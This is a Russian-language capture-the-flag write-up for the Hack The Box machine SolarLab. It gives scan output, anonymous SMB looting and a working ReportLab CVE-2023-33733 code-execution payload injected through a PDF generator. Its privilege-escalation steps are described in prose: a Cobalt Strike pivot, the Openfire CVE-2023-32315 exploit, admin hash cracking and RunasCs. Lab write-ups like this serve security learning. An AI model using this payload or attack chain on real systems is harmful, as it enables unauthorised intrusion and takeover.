Авторы: FaLLenSkiLL Malwarya

Ссылка на тачку HTB:

https://app.hackthebox.com/machines/SolarLab

Разведка

Сканируем порты:

PORT     STATE SERVICE       VERSION
80/tcp   open  http          nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
6791/tcp open  http          nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -21s
| smb2-time: 
|   date: 2024-05-13T16:13:30
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Добавляем домены в /etc/hosts

echo "10.10.11.16 solarlab.htb" | sudo tee -a /etc/hosts
echo "10.10.11.16 report.solarlab.htb" | sudo tee -a /etc/hosts

Попадаем на сайтик:

User-flag

Подключаемся по smb под пользователем anonymous

Выкачиваем таблицу с паролями

Логинимся под пользователем Blakeb. Попадаем вот сюда:

Натыкаемся на генератор PDF. Смотрим метаданные файла. Видим, что документ сгенерирован с помощью библиотеки ReportLab PDF Library

Поискав в интернете популярные уязвимости, мы натыкаемся на CVE-2023-33733. Это уязвимость в библиотеке ReportLab, связанная с небезопасной обработкой входных данных, которая позволяет злоумышленнику выполнить произвольный код.

Подробнее тут: https://github.com/c53elyas/CVE-2023-33733

PoC:

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('Здесь мог бы быть ваш payload') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
                exploit
</font></para>

Перехватываем запрос в burpsuite, внедряем полезную нагрузку

Получаем шелл, читаем user-flag

Root-flag

Просматриваем открытые порты

Запускаем Cobaltstrike, где генерируем SOCKS4 на порту 57378. В качестве альтернативы Кобальту, для проброса портов можно использовать https://github.com/Pokefenn/Chisel.

C помощью proxychains проверяем подключение

Через FoxyProxy получаем доступ к локальному Web-у на 9090 порту

Нас встречает форма логина Openfire

Запускаем msfconsole, пробрасывая весь трафик через захваченную тачку

Воспользуемся эксплоитом для CVE-2023-32315. Он создаст нам новую учетную запись и вернет шелл

Переходим в директорию с файлами бд

Находим базу данных Openfire

Вытаскиваем хэш администратора

Брутим его с помощью OpenFireDecryptPass

Скачиваем на целевую тачку RunasCs.exe. Он позволяет создавать процесс от имени администратора (если известен пароль) с полными привилегиями

Предварительно скачав на рабочий стол пользователя openfire Шелл.exe, запустим exe и поймаем его в кобальте

Читаем root-flag

Tags:

#hackthebox#medium#writeup#season5